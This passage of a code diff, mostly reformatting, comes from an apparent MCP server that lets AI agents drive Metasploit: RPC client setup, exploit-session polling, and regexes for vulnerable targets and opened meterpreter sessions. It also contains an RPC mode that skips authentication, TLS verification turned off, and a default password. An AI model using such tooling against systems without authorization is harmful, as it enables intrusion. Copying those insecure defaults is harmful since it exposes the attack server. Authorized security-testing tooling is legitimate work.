mapping agent_id to instance info """ - return { - agent_id: self.get_instance_info(agent_id) - for agent_id in self.instances.keys() - } - + return {agent_id: self.get_instance_info(agent_id) for agent_id in self.instances.keys()} diff --git a/src/metasploit_mcp/jsonrpc_patch.py b/src/metasploit_mcp/jsonrpc_patch.py index b7bc42f..bcfa273 100644 --- a/src/metasploit_mcp/jsonrpc_patch.py +++ b/src/metasploit_mcp/jsonrpc_patch.py @@ -26,8 +26,8 @@ logger = logging.getLogger(__name__) # Protocol detection -_RPC_PROTOCOL = os.getenv('MSF_RPC_PROTOCOL', 'msgpack').lower() -_USE_JSONRPC = _RPC_PROTOCOL == 'jsonrpc' +_RPC_PROTOCOL = os.getenv("MSF_RPC_PROTOCOL", "msgpack").lower() +_USE_JSONRPC = _RPC_PROTOCOL == "jsonrpc" # Store original functions _original_encode: Optional[Any] = None @@ -53,7 +53,7 @@ def _is_jsonrpc_enabled() -> bool: def _jsonrpc_encode(data: Any) -> bytes: """ Encode data for JSON-RPC 2.0 protocol. - + Metasploit's JSON-RPC expects the format: { "jsonrpc": "2.0", @@ -61,30 +61,27 @@ def _jsonrpc_encode(data: Any) -> bytes: "params": [token, ...args], "id": request_id } - + The input data is an array: [method, token, ...args] """ global _request_id_counter - + try: if not isinstance(data, list) or len(data) < 1: - raise ValueError(f"JSON-RPC encode expects a list with at least method name, got: {data}") - + raise ValueError( + f"JSON-RPC encode expects a list with at least method name, got: {data}" + ) + method = data[0] params = data[1:] if len(data) > 1 else [] - + _request_id_counter += 1 request_id = _request_id_counter - - jsonrpc_request = { - "jsonrpc": "2.0", - "method": method, - "params": params, - "id": request_id - } - + + jsonrpc_request = {"jsonrpc": "2.0", "method": method, "params": params, "id": request_id} + json_str = json.dumps(jsonrpc_request, ensure_ascii=False) - return json_str.encode('utf-8') + return json_str.encode("utf-8") except (TypeError, ValueError) as e: logger.error(f"JSON-RPC encoding error: {e}") raise @@ -93,7 +90,7 @@ def _jsonrpc_encode(data: Any) -> bytes: def _jsonrpc_decode(data: bytes) -> Any: """ Decode JSON-RPC 2.0 response. - + Metasploit's JSON-RPC response format: { "jsonrpc": "2.0", @@ -106,17 +103,17 @@ def _jsonrpc_decode(data: bytes) -> Any: "error": {...}, "id": request_id } - + We extract the "result" field (or raise error if "error" is present). """ try: if isinstance(data, bytes): - json_str = data.decode('utf-8') + json_str = data.decode("utf-8") else: json_str = data - + response = json.loads(json_str) - + # Handle JSON-RPC 2.0 response format if isinstance(response, dict): if "error" in response: @@ -124,17 +121,17 @@ def _jsonrpc_decode(data: bytes) -> Any: error_code = error.get("code", -1) error_msg = error.get("message", "Unknown error") raise ValueError(f"JSON-RPC error {error_code}: {error_msg}") - + # Return the result field if "result" in response: return response["result"] - + # If it's not a standard JSON-RPC response, return as-is return response - + # If it's not a dict, return as-is (shouldn't happen with proper JSON-RPC) return response - + except (UnicodeDecodeError, json.JSONDecodeError) as e: logger.error(f"JSON-RPC decoding error: {e}") raise @@ -147,6 +144,7 @@ def _patched_encode(data: Any) -> bytes: else: if _original_encode is None: import msgpack + return msgpack.packb(data) return _original_encode(data) @@ -162,6 +160,7 @@ def _patched_decode(data: bytes) -> Any: else: if _original_decode is None: import msgpack + return msgpack.unpackb(data, strict_map_key=False) return _original_decode(data) @@ -171,19 +170,20 @@ def _patched_call(self, method, opts=None, is_raw=False): Patched call method that handles JSON-RPC (no authentication) vs msgpack (with authentication). """ from pymetasploit3.utils import convert - + if not isinstance(opts, list): opts = [] - + # For JSON-RPC, skip authentication checks and token insertion if _USE_JSONRPC: # JSON-RPC doesn't require authentication, so skip token pass else: # For msgpack, use original authentication logic - if method != 'auth.login': + if method != "auth.login": if self.token is None: from pymetasploit3.msfrpc import MsfAuthError + raise MsfAuthError("MsfRPC: Not Authenticated") if method != "auth.login": opts.insert(0, self.token) @@ -194,7 +194,7 @@ def _patched_call(self, method, opts=None, is_raw=False): url = "http://%s:%s%s" % (self.host, self.port, self.uri) opts.insert(0, method) - + # Use patched encode/decode if _USE_JSONRPC: payload = _jsonrpc_encode(opts) @@ -203,6 +203,7 @@ def _patched_call(self, method, opts=None, is_raw=False): payload = _original_encode(opts) else: import msgpack + payload = msgpack.packb(opts) r = _patched_post_request(self, url, payload) @@ -220,8 +221,9 @@ def _patched_call(self, method, opts=None, is_raw=False): decoded = _original_decode(r.content) else: import msgpack + decoded = msgpack.unpackb(r.content, strict_map_key=False) - + return convert(decoded, self.encodings, self.decode_error_handling) @@ -231,37 +233,38 @@ def _patched_post_request(self, url: str, payload: bytes): self.headers = {"Content-type": "application/json"} else: self.headers = {"Content-type": "binary/message-pack"} - + import requests + return requests.post(url, data=payload, headers=self.headers, verify=False) def _patched_init(self, password: str, **kwargs): """ Patched __init__ method that sets correct Content-Type header and URI based on protocol. - + For JSON-RPC, authentication is not required, so we skip the login() call. """ # Set URI and headers BEFORE calling original __init__ if _USE_JSONRPC: - kwargs['uri'] = '/api/v1/json-rpc' + kwargs["uri"] = "/api/v1/json-rpc" self.headers = {"Content-type": "application/json"} # Skip authentication for JSON-RPC - set token to None to prevent login() - kwargs['token'] = None + kwargs["token"] = None else: - if 'uri' not in kwargs: - kwargs['uri'] = '/api/' + if "uri" not in kwargs: + kwargs["uri"] = "/api/" self.headers = {"Content-type": "binary/message-pack"} - + # Initialize basic attributes - self.host = kwargs.get('server', '127.0.0.1') - self.port = kwargs.get('port', 55553) - self.uri = kwargs.get('uri', '/api/' if not _USE_JSONRPC else '/api/v1/json-rpc') - self.ssl = kwargs.get('ssl', False) - self.token = kwargs.get('token') - self.encodings = kwargs.get('encodings', ['utf-8']) - self.decode_error_handling = kwargs.get('decode_error_handling', 'strict') - + self.host = kwargs.get("server", "127.0.0.1") + self.port = kwargs.get("port", 55553) + self.uri = kwargs.get("uri", "/api/" if not _USE_JSONRPC else "/api/v1/json-rpc") + self.ssl = kwargs.get("ssl", False) + self.token = kwargs.get("token") + self.encodings = kwargs.get("encodings", ["utf-8"]) + self.decode_error_handling = kwargs.get("decode_error_handling", "strict") + # Only call login() for msgpack (JSON-RPC doesn't require authentication) if not _USE_JSONRPC and self.token is None: if _original_init: @@ -270,62 +273,63 @@ def _patched_init(self, password: str, **kwargs): else: # Fallback: manually call login from pymetasploit3.msfrpc import MsfRpcMethod - auth = self.call(MsfRpcMethod.AuthLogin, [kwargs.get('username', 'msf'), password]) - if auth.get('result') == 'success': - self.token = auth.get('token') - + + auth = self.call(MsfRpcMethod.AuthLogin, [kwargs.get("username", "msf"), password]) + if auth.get("result") == "success": + self.token = auth.get("token") + # Ensure headers and URI are still correct if _USE_JSONRPC: self.headers = {"Content-type": "application/json"} - self.uri = '/api/v1/json-rpc' + self.uri = "/api/v1/json-rpc" else: self.headers = {"Content-type": "binary/message-pack"} - if not hasattr(self, 'uri') or self.uri == '/api/v1/json-rpc': - self.uri = '/api/' + if not hasattr(self, "uri") or self.uri == "/api/v1/json-rpc": + self.uri = "/api/" def apply_patch(utils_module, msfrpc_module): """ Apply monkeypatch to pymetasploit3 modules. - + Args: utils_module: The pymetasploit3.utils module msfrpc_module: The pymetasploit3.msfrpc module """ global _original_encode, _original_decode, _original_init, _original_post_request - + if not _USE_JSONRPC: logger.debug("JSON-RPC not enabled, skipping patch") return - + logger.info("Applying JSON-RPC monkeypatch to pymetasploit3") - + try: # Store original functions from utils _original_encode = utils_module.encode _original_decode = utils_module.decode - + # Store original methods from MsfRpcClient _original_init = msfrpc_module.MsfRpcClient.__init__ _original_post_request = msfrpc_module.MsfRpcClient.post_request _original_call = msfrpc_module.MsfRpcClient.call - + # Patch module-level encode/decode (imported from utils with "from ... import *") # These are used directly in MsfRpcClient.call() as encode() and decode() msfrpc_module.encode = _patched_encode msfrpc_module.decode = _patched_decode - + # Also patch as class attributes for MsfRpcClient msfrpc_module.MsfRpcClient.encode = _patched_encode msfrpc_module.MsfRpcClient.decode = _patched_decode - + # Patch MsfRpcClient methods msfrpc_module.MsfRpcClient.__init__ = _patched_init msfrpc_module.MsfRpcClient.post_request = _patched_post_request msfrpc_module.MsfRpcClient.call = _patched_call - + logger.info("Successfully applied JSON-RPC monkeypatch to pymetasploit3") - + except Exception as e: logger.error(f"Failed to apply JSON-RPC patch: {e}", exc_info=True) raise diff --git a/src/metasploit_mcp/server.py b/src/metasploit_mcp/server.py index 280a506..fc6c3f1 100644 --- a/src/metasploit_mcp/server.py +++ b/src/metasploit_mcp/server.py @@ -37,13 +37,14 @@ from starlette.middleware.base import BaseHTTPMiddleware from starlette.middleware import Middleware from starlette.types import ASGIApp, Message, Receive, Scope, Send + STARLETTE_AVAILABLE = True except ImportError: STARLETTE_AVAILABLE = False BaseHTTPMiddleware = None # type: ignore Middleware = None # type: ignore -if os.getenv('MSF_RPC_PROTOCOL', 'msgpack').lower() == 'jsonrpc': +if os.getenv("MSF_RPC_PROTOCOL", "msgpack").lower() == "jsonrpc": # Apply JSON-RPC monkeypatch BEFORE importing pymetasploit3 classes from . import jsonrpc_patch # noqa: F401 @@ -60,29 +61,34 @@ # --- Event Loop Monitoring --- from .event_loop_monitor import ( - configure_event_loop_debugging, stop_event_loop_monitoring, - get_monitoring_stats, check_event_loop_health + configure_event_loop_debugging, + stop_event_loop_monitoring, + get_monitoring_stats, + check_event_loop_health, ) # --- Custom Exceptions --- + class InvalidModuleError(ValueError): """ Raised when a Metasploit module cannot be found or is invalid. - + This is a clean exception for expected "module not found" scenarios, avoiding noisy stack traces in logs for simple user input errors. """ + def __init__(self, module_type: str, module_name: str, message: str): self.module_type = module_type self.module_name = module_name super().__init__(message) + # --- Configuration & Constants --- logging.basicConfig( level=os.environ.get("LOG_LEVEL", "INFO").upper(), - format='%(asctime)s - %(name)s - %(levelname)s - %(message)s' + format="%(asctime)s - %(name)s - %(levelname)s - %(message)s", ) logger = logging.getLogger("metasploit_mcp_server") @@ -92,40 +98,48 @@ def __init__(self, module_type: str, module_name: str, message: str): try: from src.exploitmcp.core.keep_alive_progress import ( KeepAliveProgressManager, - DEFAULT_KEEPALIVE_INTERVAL + DEFAULT_KEEPALIVE_INTERVAL, ) + KEEPALIVE_AVAILABLE = True logger.debug("KeepAliveProgressManager imported from exploitmcp") except ImportError: KEEPALIVE_AVAILABLE = False DEFAULT_KEEPALIVE_INTERVAL = 10.0 # Default interval in seconds logger.debug("exploitmcp keep-alive not available, using no-op fallback") - + class KeepAliveProgressManager: """ No-op fallback for when exploitmcp is not available. This allows MetasploitMCP to run standalone without keep-alive support. """ - def __init__(self, ctx, interval=10.0, operation_name="Operation", - initial_progress=5, max_progress=90): + + def __init__( + self, + ctx, + interval=10.0, + operation_name="Operation", + initial_progress=5, + max_progress=90, + ): self.ctx = ctx self.interval = interval self.operation_name = operation_name self.initial_progress = initial_progress self.max_progress = max_progress - + async def start(self): """No-op start.""" pass - + async def stop(self, send_completion=True): """No-op stop.""" pass - + async def __aenter__(self): """Context manager entry.""" return self - + async def __aexit__(self, exc_type, exc_val, exc_tb): """Context manager exit.""" pass @@ -133,15 +147,16 @@ async def __aexit__(self, exc_type, exc_val, exc_tb): class _NoOpContextManager: """A no-op async context manager for when ctx is None.""" + async def __aenter__(self): return self - + async def __aexit__(self, exc_type, exc_val, exc_tb): pass - + async def start(self): pass - + async def stop(self, send_completion=True): pass @@ -151,11 +166,11 @@ def get_keepalive_manager( operation_name: str, interval: float = DEFAULT_KEEPALIVE_INTERVAL, initial_progress: int = 5, - max_progress: int = 90 + max_progress: int = 90, ): """ Get a keep-alive manager for long-running operations. - + Returns a no-op context manager if ctx is None (for testing), otherwise returns a proper KeepAliveProgressManager. """ @@ -166,9 +181,10 @@ def get_keepalive_manager( interval=interval, operation_name=operation_name, initial_progress=initial_progress, - max_progress=max_progress + max_progress=max_progress, ) + # Enable DEBUG logging for MCP streamable_http to diagnose SSE issues # This will help us understand the request flow and identify race conditions if os.environ.get("DEBUG_SSE", "false").lower() in ("true", "1", "yes"): @@ -177,6 +193,7 @@ def get_keepalive_manager( logging.getLogger("sse_starlette").setLevel(logging.DEBUG) logger.info("SSE debugging enabled - will log detailed request flow information") + # Configure logging for MCP server to handle SSE disconnection errors gracefully # This is a known issue with Starlette middleware when clients disconnect during SSE streams # The error "Unexpected message received: http.request" is non-critical and occurs during @@ -184,11 +201,12 @@ def get_keepalive_manager( # downgrade these specific errors to WARNING level to reduce noise in logs. class SSEErrorFilter(logging.Filter): """Filter to downgrade non-critical SSE disconnection errors. - + This handles a known issue with Starlette middleware when clients disconnect unexpectedly during Server-Sent Events (SSE) streams. The error "Unexpected message received: http.request" occurs during connection cleanup and is non-critical. """ + def filter(self, record: logging.LogRecord) -> bool: # Check if this is the specific SSE disconnection error we want to handle if record.name == "mcp.server.streamable_http" and record.levelno == logging.ERROR: @@ -197,20 +215,24 @@ def filter(self, record: logging.LogRecord) -> bool: exception_msg = "" if record.exc_info and record.exc_info[1]: exception_msg = str(record.exc_info[1]) - + # Check for the specific SSE disconnection error patterns - if ("Unexpected message received: http.request" in error_msg or - "Unexpected message received: http.request" in exception_msg or - "SSE response error" in error_msg): + if ( + "Unexpected message received: http.request" in error_msg + or "Unexpected message received: http.request" in exception_msg + or "SSE response error" in error_msg + ): # Downgrade to WARNING level as this is expected during normal operation record.levelno = logging.WARNING record.levelname = "WARNING" return True + # Apply the filter to the MCP streamable_http logger mcp_streamable_http_logger = logging.getLogger("mcp.server.streamable_http") mcp_streamable_http_logger.addFilter(SSEErrorFilter()) + # Add asyncio exception handler to catch unhandled SSE disconnection errors # This is needed because the errors occur in TaskGroups and may not be properly caught def _check_for_sse_error(exception: BaseException) -> bool: @@ -226,16 +248,17 @@ def _check_for_sse_error(exception: BaseException) -> bool: return True return False + def handle_asyncio_exception(loop: asyncio.AbstractEventLoop, context: Dict[str, Any]) -> None: """Handle unhandled exceptions in asyncio event loop, specifically SSE disconnection errors. - + This handler catches RuntimeErrors about "Unexpected message received: http.request" which occur when clients disconnect unexpectedly during Server-Sent Events (SSE) streams. These errors are non-critical and should not break the connection. """ - exception = context.get('exception') - message = context.get('message', '') - + exception = context.get("exception") + message = context.get("message", "") + # Check if this is the SSE disconnection error we want to handle gracefully if exception and _check_for_sse_error(exception): # This is a known non-critical SSE disconnection error @@ -246,7 +269,7 @@ def handle_asyncio_exception(loop: asyncio.AbstractEventLoop, context: Dict[str, f"The connection will continue to function normally." ) return - + # For all other exceptions, use the default handler behavior # But we'll log it at a more appropriate level if exception: @@ -254,6 +277,7 @@ def handle_asyncio_exception(loop: asyncio.AbstractEventLoop, context: Dict[str, else: logger.error(f"Unhandled error in event loop: {message}") + session_shell_type: Dict[str, str] = {} # Per-session locks to serialize concurrent access to the same Meterpreter/shell session. @@ -282,9 +306,7 @@ async def _list_sessions_str_keys(client: Any) -> Dict[str, Any]: """Return ``client.sessions.list`` with keys normalized to strings.""" sessions_raw = await asyncio.to_thread(lambda: client.sessions.list) if not isinstance(sessions_raw, dict): - raise MsfRpcError( - f"Unexpected data type for sessions list: {type(sessions_raw).__name__}" - ) + raise MsfRpcError(f"Unexpected data type for sessions list: {type(sessions_raw).__name__}") return {str(k): v for k, v in sessions_raw.items()} @@ -324,67 +346,84 @@ def _classify_payload_stage(payload_name: str) -> str: leaf = parts[-1] if "_" in leaf and ("meterpreter_" in leaf or "shell_" in leaf): return "stageless" - if len(parts) >= 2 and parts[-2] in {"meterpreter", "shell"} and ( - leaf.startswith("reverse_") or leaf.startswith("bind_") + if ( + len(parts) >= 2 + and parts[-2] in {"meterpreter", "shell"} + and (leaf.startswith("reverse_") or leaf.startswith("bind_")) ): return "staged" return "unknown" # Metasploit Connection Config (from environment variables) -MSF_PASSWORD = os.getenv('MSF_PASSWORD', 'msf') -MSF_SERVER = os.getenv('MSF_SERVER', '127.0.0.1') -MSF_PORT_STR = os.getenv('MSF_PORT', '55553') -MSF_SSL_STR = os.getenv('MSF_SSL', 'false') -PAYLOAD_SAVE_DIR = os.environ.get('PAYLOAD_SAVE_DIR', str(pathlib.Path.home() / "payloads")) +MSF_PASSWORD = os.getenv("MSF_PASSWORD", "msf") +MSF_SERVER = os.getenv("MSF_SERVER", "127.0.0.1") +MSF_PORT_STR = os.getenv("MSF_PORT", "55553") +MSF_SSL_STR = os.getenv("MSF_SSL", "false") +PAYLOAD_SAVE_DIR = os.environ.get("PAYLOAD_SAVE_DIR", str(pathlib.Path.home() / "payloads")) # Metasploit module documentation path (populated in Docker image via sparse checkout) -MSF_DOCS_PATH = os.environ.get('MSF_DOCS_PATH', '/opt/metasploit-docs/modules') +MSF_DOCS_PATH = os.environ.get("MSF_DOCS_PATH", "/opt/metasploit-docs/modules") # Timeouts and Polling Intervals (in seconds) DEFAULT_CONSOLE_READ_TIMEOUT = 15 # Default for quick console commands -LONG_CONSOLE_READ_TIMEOUT = 60 # For commands like run/exploit/check -SESSION_COMMAND_TIMEOUT = 60 # Default hard timeout for commands within sessions -SESSION_READ_INACTIVITY_TIMEOUT = 15 # Timeout if no data from session +LONG_CONSOLE_READ_TIMEOUT = 60 # For commands like run/exploit/check +SESSION_COMMAND_TIMEOUT = 60 # Default hard timeout for commands within sessions +SESSION_READ_INACTIVITY_TIMEOUT = 15 # Timeout if no data from session DEFAULT_SESSION_INACTIVITY_TIMEOUT = 10 # Default inactivity wait for interactive session commands -EXPLOIT_SESSION_POLL_TIMEOUT = 120 # Max time to wait for session after exploit job +EXPLOIT_SESSION_POLL_TIMEOUT = 120 # Max time to wait for session after exploit job EXPLOIT_SESSION_POLL_INTERVAL = 3 # How often to check for session UUID_MISSING_GRACE_POLLS = 3 # Consecutive missing polls before considering UUID lost UUID_MISSING_GRACE_SECONDS = 6 # Minimum elapsed time before considering UUID lost -MODULE_RESULT_POLL_TIMEOUT = 300 # Max time to wait for auxiliary/post module completion -MODULE_RESULT_POLL_INTERVAL = 2 # How often to check module.running_stats +MODULE_RESULT_POLL_TIMEOUT = 300 # Max time to wait for auxiliary/post module completion +MODULE_RESULT_POLL_INTERVAL = 2 # How often to check module.running_stats RPC_CALL_TIMEOUT = 25 # Default timeout for RPC calls like listing modules MAX_TOOL_TIMEOUT_SECONDS = 120 # Maximum timeout allowed for tool parameters (cap at 120s) # Regular Expressions for Prompt Detection -MSF_PROMPT_RE = re.compile(rb'\x01\x02msf\d+\x01\x02 \x01\x02> \x01\x02') # Matches the msf6 > prompt with control chars +MSF_PROMPT_RE = re.compile( + rb"\x01\x02msf\d+\x01\x02 \x01\x02> \x01\x02" +) # Matches the msf6 > prompt with control chars SHELL_PROMPT_RE = re.compile( - r'(?mi)^(?!\s*meterpreter\s*>\s*$)[^\n]*(?:[#$%]\s*|[^\s]>\s*)$' + r"(?mi)^(?!\s*meterpreter\s*>\s*$)[^\n]*(?:[#$%]\s*|[^\s]>\s*)$" ) # Match common shell prompts, but avoid meterpreter prompt and bare ">" -METERPRETER_PROMPT_RE = re.compile(r'meterpreter\s*>\s*$') -METERPRETER_ERROR_RE = re.compile(r'(?m)^\s*\[-\]\s+.+$') -MODULE_COMPLETE_RE = re.compile(rb'.*module execution completed$', re.DOTALL | re.MULTILINE) +METERPRETER_PROMPT_RE = re.compile(r"meterpreter\s*>\s*$") +METERPRETER_ERROR_RE = re.compile(r"(?m)^\s*\[-\]\s+.+$") +MODULE_COMPLETE_RE = re.compile(rb".*module execution completed$", re.DOTALL | re.MULTILINE) # Regular Expressions for Vulnerability Detection -IS_VULNERABLE_RE = re.compile(rb'(?:appears vulnerable|is vulnerable|appears to be vulnerable|\+ vulnerable)', re.IGNORECASE) -IS_NOT_VULNERABLE_RE = re.compile(rb'(?:does not appear vulnerable|is not vulnerable|target is not vulnerable|check failed)', re.IGNORECASE) +IS_VULNERABLE_RE = re.compile( + rb"(?:appears vulnerable|is vulnerable|appears to be vulnerable|\+ vulnerable)", re.IGNORECASE +) +IS_NOT_VULNERABLE_RE = re.compile( + rb"(?:does not appear vulnerable|is not vulnerable|target is not vulnerable|check failed)", + re.IGNORECASE, +) # Regular Expression for Session Detection -SESSION_OPENED_RE = re.compile(rb'(?:meterpreter|command shell)\s+session\s+\d+\s+opened', re.IGNORECASE) +SESSION_OPENED_RE = re.compile( + rb"(?:meterpreter|command shell)\s+session\s+\d+\s+opened", re.IGNORECASE +) # Regular Expression for Module Load Failure Detection -FAILED_TO_LOAD_MODULE_RE = re.compile(rb'\[-\]\s+Failed to load module:', re.IGNORECASE) +FAILED_TO_LOAD_MODULE_RE = re.compile(rb"\[-\]\s+Failed to load module:", re.IGNORECASE) # Regular Expression for Module Check Not Supported Detection -CHECK_NOT_SUPPORTED_RE = re.compile(rb'This module does not support check', re.IGNORECASE) +CHECK_NOT_SUPPORTED_RE = re.compile(rb"This module does not support check", re.IGNORECASE) # --- Metasploit Client Setup --- _msf_client_instance: Optional[MsfRpcClient] = None # Multi-agent support -_instance_manager: Optional['MetasploitInstanceManager'] = None -_multi_agent_enabled = os.getenv('METASPLOIT_MULTI_AGENT', 'false').lower() in ('true', '1', 'yes', 'on') +_instance_manager: Optional["MetasploitInstanceManager"] = None +_multi_agent_enabled = os.getenv("METASPLOIT_MULTI_AGENT", "false").lower() in ( + "true", + "1", + "yes", + "on", +) + def initialize_msf_client() -> MsfRpcClient: """ @@ -396,66 +435,74 @@ def initialize_msf_client() -> MsfRpcClient: return _msf_client_instance logger.info("Attempting to initialize Metasploit RPC client...") - + # Log RPC protocol being used - rpc_protocol = os.getenv('MSF_RPC_PROTOCOL', 'msgpack').lower() + rpc_protocol = os.getenv("MSF_RPC_PROTOCOL", "msgpack").lower() logger.info(f"Using RPC protocol: {rpc_protocol}") try: msf_port = int(MSF_PORT_STR) - msf_ssl = MSF_SSL_STR.lower() == 'true' + msf_ssl = MSF_SSL_STR.lower() == "true" except ValueError as e: - logger.error(f"Invalid MSF connection parameters (PORT: {MSF_PORT_STR}, SSL: {MSF_SSL_STR}). Error: {e}") + logger.error( + f"Invalid MSF connection parameters (PORT: {MSF_PORT_STR}, SSL: {MSF_SSL_STR}). Error: {e}" + ) raise ValueError("Invalid MSF connection parameters") from e try: - logger.debug(f"Attempting to create MsfRpcClient connection to {MSF_SERVER}:{msf_port} (SSL: {msf_ssl}, Protocol: {rpc_protocol})...") - client = MsfRpcClient( - password=MSF_PASSWORD, - server=MSF_SERVER, - port=msf_port, - ssl=msf_ssl + logger.debug( + f"Attempting to create MsfRpcClient connection to {MSF_SERVER}:{msf_port} (SSL: {msf_ssl}, Protocol: {rpc_protocol})..." ) + client = MsfRpcClient(password=MSF_PASSWORD, server=MSF_SERVER, port=msf_port, ssl=msf_ssl) # Test connection during initialization logger.debug("Testing connection with core.version call...") version_info = client.core.version - msf_version = version_info.get('version', 'unknown') if isinstance(version_info, dict) else 'unknown' - logger.info(f"Successfully connected to Metasploit RPC at {MSF_SERVER}:{msf_port} (SSL: {msf_ssl}), version: {msf_version}") + msf_version = ( + version_info.get("version", "unknown") if isinstance(version_info, dict) else "unknown" + ) + logger.info( + f"Successfully connected to Metasploit RPC at {MSF_SERVER}:{msf_port} (SSL: {msf_ssl}), version: {msf_version}" + ) _msf_client_instance = client return _msf_client_instance except MsfRpcError as e: - logger.error(f"Failed to connect or authenticate to Metasploit RPC ({MSF_SERVER}:{msf_port}, SSL: {msf_ssl}): {e}") + logger.error( + f"Failed to connect or authenticate to Metasploit RPC ({MSF_SERVER}:{msf_port}, SSL: {msf_ssl}): {e}" + ) raise ConnectionError(f"Failed to connect/authenticate to Metasploit RPC: {e}") from e except Exception as e: - logger.error(f"An unexpected error occurred during MSF client initialization: {e}", exc_info=True) + logger.error( + f"An unexpected error occurred during MSF client initialization: {e}", exc_info=True + ) raise RuntimeError(f"Unexpected error initializing MSF client: {e}") from e + def initialize_instance_manager(): """Initialize the Metasploit Instance Manager for multi-agent support.""" global _instance_manager - + if _instance_manager is not None: return _instance_manager - + if not _multi_agent_enabled: logger.info("Multi-agent support disabled for Metasploit") return None - + try: from .instance_manager import MetasploitInstanceManager - - base_port = int(os.getenv('METASPLOIT_PORT_START', '55553')) - timeout = int(os.getenv('METASPLOIT_INSTANCE_TIMEOUT', '1800')) - + + base_port = int(os.getenv("METASPLOIT_PORT_START", "55553")) + timeout = int(os.getenv("METASPLOIT_INSTANCE_TIMEOUT", "1800")) + _instance_manager = MetasploitInstanceManager( - base_port=base_port, - password=MSF_PASSWORD, - inactivity_timeout=timeout + base_port=base_port, password=MSF_PASSWORD, inactivity_timeout=timeout + ) + + logger.info( + f"Metasploit Instance Manager initialized (base_port={base_port}, timeout={timeout}s)" ) - - logger.info(f"Metasploit Instance Manager initialized (base_port={base_port}, timeout={timeout}s)") return _instance_manager - + except Exception as e: logger.error(f"Failed to initialize Metasploit Instance Manager: {e}", exc_info=True) return None @@ -464,13 +511,13 @@ def initialize_instance_manager(): async def get_agent_msf_client(agent_id: str = "default-agent") -> MsfRpcClient: """ Get Metasploit RPC client for a specific agent. - + If multi-agent mode is enabled, this will create an on-demand instance for the agent. Otherwise, it returns the global shared client. - + Args: agent_id: Agent identifier - + Returns: MsfRpcClient for this agent """ @@ -487,7 +534,9 @@ def get_msf_client() -> MsfRpcClient: """Gets the initialized MSF client instance, raising an error if not ready.""" if _msf_client_instance is None: logger.error("Metasploit client has not been initialized. Check MSF server connection.") - raise ConnectionError("Metasploit client has not been initialized.") # Strict check preferred + raise ConnectionError( + "Metasploit client has not been initialized." + ) # Strict check preferred logger.debug("Retrieved MSF client instance successfully.") return _msf_client_instance @@ -495,41 +544,41 @@ def get_msf_client() -> MsfRpcClient: def cleanup_msf_client() -> None: """ Clean up the global MSF client connection. - + This performs proper cleanup by: 1. Calling auth.logout to properly close the RPC session on the server 2. Clearing the global client reference - + This helps reduce TIME_WAIT connections by properly closing the session instead of just dropping the connection. """ global _msf_client_instance - + if _msf_client_instance is None: logger.debug("No MSF client to cleanup") return - + try: logger.info("Cleaning up MSF RPC client connection...") - + # Call auth.logout to properly close the session on the server # This tells the server to clean up our authentication token try: - token = getattr(_msf_client_instance, 'token', None) + token = getattr(_msf_client_instance, "token", None) if token: logger.debug(f"Calling auth.logout for global MSF client...") - _msf_client_instance.call('auth.logout', [token]) + _msf_client_instance.call("auth.logout", [token]) logger.info("MSF RPC session logged out successfully") else: logger.warning("No token found on MSF client, skipping logout") except Exception as e: # Log but don't fail - the connection may already be closed logger.warning(f"Error during MSF RPC logout: {e}") - + # Clear the global reference _msf_client_instance = None logger.info("MSF client cleanup complete") - + except Exception as e: logger.error(f"Error during MSF client cleanup: {e}", exc_info=True) @@ -539,33 +588,31 @@ async def cleanup_msf_client_async() -> None: Async version of cleanup_msf_client for use in async contexts. """ global _msf_client_instance - + if _msf_client_instance is None: logger.debug("No MSF client to cleanup") return - + try: logger.info("Cleaning up MSF RPC client connection (async)...") - + # Call auth.logout to properly close the session on the server try: - token = getattr(_msf_client_instance, 'token', None) + token = getattr(_msf_client_instance, "token", None) if token: logger.debug(f"Calling auth.logout for global MSF client...") - await asyncio.to_thread( - lambda: _msf_client_instance.call('auth.logout', [token]) - ) + await asyncio.to_thread(lambda: _msf_client_instance.call("auth.logout", [token])) logger.info("MSF RPC session logged out successfully") else: logger.warning("No token found on MSF client, skipping logout") except Exception as e: # Log but don't fail - the connection may already be closed logger.warning(f"Error during MSF RPC logout: {e}") - + # Clear the global reference _msf_client_instance = None logger.info("MSF client cleanup complete") - + except Exception as e: logger.error(f"Error during MSF client cleanup: {e}", exc_info=True) @@ -573,12 +620,12 @@ async def cleanup_msf_client_async() -> None: async def cleanup_all_msf_resources() -> None: """ Clean up all MSF resources including global client and instance manager. - + This should be called during server shutdown to properly close all RPC connections and prevent TIME_WAIT accumulation. """ logger.info("Cleaning up all MSF resources...") - + # Clean up instance manager (if multi-agent mode is enabled) if _instance_manager is not None: try: @@ -586,12 +633,13 @@ async def cleanup_all_msf_resources() -> None: logger.info("Metasploit Instance Manager shutdown complete") except Exception as e: logger.error(f"Error shutting down Metasploit Instance Manager: {e}", exc_info=True) - + # Clean up global client await cleanup_msf_client_async() - + logger.info("All MSF resources cleanup complete") + async def check_msf_connection() -> Dict[str, Any]: """ Check the current status of the Metasploit RPC connection. @@ -601,16 +649,17 @@ async def check_msf_connection() -> Dict[str, Any]: client = get_msf_client() logger.debug(f"Testing MSF connection with {RPC_CALL_TIMEOUT}s timeout...") version_info = await asyncio.wait_for( - asyncio.to_thread(lambda: client.core.version), - timeout=RPC_CALL_TIMEOUT + asyncio.to_thread(lambda: client.core.version), timeout=RPC_CALL_TIMEOUT + ) + msf_version = ( + version_info.get("version", "N/A") if isinstance(version_info, dict) else "N/A" ) - msf_version = version_info.get('version', 'N/A') if isinstance(version_info, dict) else 'N/A' return { "status": "connected", "server": f"{MSF_SERVER}:{MSF_PORT_STR}", "ssl": MSF_SSL_STR, "version": msf_version, - "message": "Connection to Metasploit RPC is healthy" + "message": "Connection to Metasploit RPC is healthy", } except asyncio.TimeoutError: return { @@ -618,36 +667,37 @@ async def check_msf_connection() -> Dict[str, Any]: "server": f"{MSF_SERVER}:{MSF_PORT_STR}", "ssl": MSF_SSL_STR, "timeout_seconds": RPC_CALL_TIMEOUT, - "message": f"Metasploit server not responding within {RPC_CALL_TIMEOUT}s timeout" + "message": f"Metasploit server not responding within {RPC_CALL_TIMEOUT}s timeout", } except ConnectionError as e: return { "status": "not_initialized", "server": f"{MSF_SERVER}:{MSF_PORT_STR}", "ssl": MSF_SSL_STR, - "message": f"Metasploit client not initialized: {e}" + "message": f"Metasploit client not initialized: {e}", } except MsfRpcError as e: return { "status": "rpc_error", "server": f"{MSF_SERVER}:{MSF_PORT_STR}", "ssl": MSF_SSL_STR, - "message": f"Metasploit RPC error: {e}" + "message": f"Metasploit RPC error: {e}", } except Exception as e: return { "status": "error", "server": 